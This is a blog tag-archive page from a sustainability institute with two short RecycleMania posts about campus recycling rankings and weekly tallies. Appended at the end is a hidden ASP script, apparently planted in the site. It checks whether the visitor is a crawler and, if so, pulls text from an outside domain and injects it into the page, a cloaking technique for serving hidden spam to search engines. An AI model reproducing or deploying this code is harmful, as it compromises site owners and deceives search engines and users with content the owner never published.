Tag Archive: Recycle

Jan 11

SDI Leads the 2018 Campus Recycling Competition

Recycle Mania 2018 begins on February 5th. This eight week friendly recycling competition, held between colleges across the United States, challenges students, faculty and staff to improve their recycling habits. This year, we would like to improve our 2017 standing where we placed 39th out of the 190 competing colleges. Recycling is the process of …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2018/01/sdi-leads-the-2018-campus-recycling-competition/

Mar 01

RecycleMania Update: Week 4

We are now entering week four of RecycleMania. With 1,008 pounds of recycling and 738 pounds of waste after the first three weeks, we are collecting more recycling items than waste. This is great news for the college as we work to reduce our GHG emissions. Totals for each week are listed below.     …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/03/recyclemania-update-week-4/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>